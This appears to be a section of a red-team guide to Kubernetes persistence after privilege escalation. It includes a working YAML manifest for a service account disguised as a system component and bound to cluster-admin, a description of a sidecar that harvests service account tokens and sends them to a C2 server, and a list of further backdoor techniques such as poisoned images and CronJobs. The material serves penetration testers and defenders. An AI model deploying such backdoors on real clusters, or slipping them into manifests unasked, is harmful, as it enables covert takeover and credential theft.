This section covers various persistence mechanisms specific to Kubernetes environments, including backdoor service accounts and malicious workloads.
Overview
After gaining elevated privileges in a Kubernetes cluster, we can focus on maintaining persistent access to ensure continued control even after system updates, restarts, or security remediation attempts.
Since Kubernetes relies on declarative YAML manifests, access to resource definitions or Helm charts can be enough to embed privilege escalation and persistence mechanisms directly into the cluster configuration. By modifying these files, we can explicitly define insecure settings, backdoors, or overly privileged resources that become applied automatically when the configuration is deployed.
Hidden Service Account
This is one of the most basic yet effective persistence mechanisms, as it relies on human error and assumes that malicious manifests will not be carefully reviewed. By creating a service account that mimics legitimate system components and binding it to a highly privileged role, we can maintain long‑term access to the cluster.
Depending on the architecture, automated CI/CD pipelines or configuration reconciliation mechanisms may eventually overwrite or remove this persistence, but in many environments such backdoors remain unnoticed for extended periods of time.
Giving cluster-admin to the persistence account makes it easier to detect, consider using a custom role.
Stealth Service Account Creation:
# Disguised as system componentapiVersion:v1kind:ServiceAccountmetadata:name:system-node-monitornamespace:kube-systemlabels:component:system-monitortier:nodeautomountServiceAccountToken:true---apiVersion:rbac.authorization.k8s.io/v1kind:ClusterRoleBindingmetadata:name:system-node-monitor-bindinglabels:component:system-monitorroleRef:apiGroup:rbac.authorization.k8s.iokind:ClusterRolename:cluster-adminsubjects:-kind:ServiceAccountname:system-node-monitornamespace:kube-system
Token Extraction and Storage:
Periodic Service Account Token Extraction
Periodic service account token extraction is a persistence technique that focuses on continuously harvesting valid credentials rather than maintaining a single static backdoor. By injecting a sidecar container into an existing pod, we can periodically read the mounted service account token and exfiltrate it to a command-and-control (C2) server.
This approach is particularly effective in environments where tokens are rotated or pods are frequently recreated, as it ensures we always have access to fresh credentials while remaining relatively stealthy within legitimate workloads.
Bring Your Own Persistence (BYOP)
Bring Your Own Persistence (BYOP) refers to the idea that once high privileges are obtained in a Kubernetes cluster, persistence is limited only by the our creativity. With elevated permissions, we can leverage multiple native Kubernetes mechanisms to maintain long-term access, such as:
poisoning container images or registries
abusing initContainers
creating scheduled jobs (CronJobs)
injecting malicious sidecars
deploying legitimate but backdoored workloads and deployments
Because these techniques rely on standard Kubernetes features, they often blend into normal cluster operations and are difficult to detect without strict reviews and continuous monitoring.